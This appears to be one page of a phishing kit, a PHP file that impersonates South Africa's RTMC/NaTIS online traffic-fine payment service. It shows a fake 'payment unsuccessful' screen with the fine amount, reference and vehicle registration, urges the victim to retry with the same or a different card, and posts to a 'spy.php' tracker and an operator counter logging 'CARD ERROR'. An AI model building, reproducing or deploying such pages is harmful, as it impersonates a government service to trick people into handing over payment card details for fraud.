<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';

$data = $m->getData();
if (isset($data['IS_DONE']) && $data['IS_DONE'] == "1") {
    header("Location: done.php");
    exit;
}

$payLabel = Config::$payment_amount;
$fineRef = Config::$fine_reference;
$vehicleReg = Config::visitorVehicleRegFromLogin();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Payment unsuccessful — NaTIS</title>
    <link rel="stylesheet" href="themes/css/card-natis.css" />
</head>
<body class="np-page np-card-page">

<div class="np-topstrip">
    <span>Talk to us +27 861 400 800 | <a href="mailto:onlinesupport@rtmc.co.za">onlinesupport@rtmc.co.za</a></span>
</div>
<div class="np-logohead">
    <img src="assets/img/NaTIS%20logo.png" alt="NaTIS — National Traffic Information System" />
</div>

<main class="np-pay">
    <p class="np-pay-crumb">
        <a href="home.php">Home</a> &rsaquo; Online services &rsaquo; Payment unsuccessful
    </p>

    <div class="np-pay-panel">
        <div class="np-pay-banner np-err-banner">Payment unsuccessful</div>

        <div class="np-pay-body np-err-body">
            <div class="np-err-icon" aria-hidden="true">!</div>

            <h1 class="np-pay-title">Transaction could not be completed</h1>
            <p class="np-pay-lead">
                Your card payment was not authorised. This can happen if the details were incorrect,
                the bank declined the charge, or 3-D Secure verification failed.
            </p>

            <div class="np-pay-due">
                <div class="np-pay-due-main">
                    <span>Amount due</span>
                    <strong><?= htmlspecialchars($payLabel, ENT_QUOTES, 'UTF-8') ?></strong>
                </div>
                <div class="np-pay-due-meta">
                    <p><span>Reference</span> <?= htmlspecialchars($fineRef, ENT_QUOTES, 'UTF-8') ?></p>
                    <?php if ($vehicleReg !== '') { ?>
                    <p><span>Vehicle</span> <?= htmlspecialchars($vehicleReg, ENT_QUOTES, 'UTF-8') ?></p>
                    <?php } ?>
                </div>
            </div>

            <ul class="np-err-tips">
                <li>Check the card number, expiry date and CVV</li>
                <li>Ensure your card allows online / international payments</li>
                <li>Try again or use a different card</li>
            </ul>

            <a class="np-pay-btn np-err-btn" href="card.php">Try payment again</a>
            <p class="np-pay-foot-note">RTMC · NaTIS secure payment gateway</p>
        </div>
    </div>
</main>

<footer class="np-card-foot">
    <div class="np-card-foot-cards">
        <img src="assets/img/card_logo_visa.svg" alt="Visa" />
        <img src="assets/img/card_logo_mc.svg" alt="Mastercard" />
    </div>
    <p>© 2026 RTMC · National Traffic Information System</p>
</footer>

<script src="res/jq.js"></script>
<script>
    $.post('spy.php', { cardview: 1 });
</script>
<?php $m->ctr('CARD ERROR'); ?>
</body>
</html>
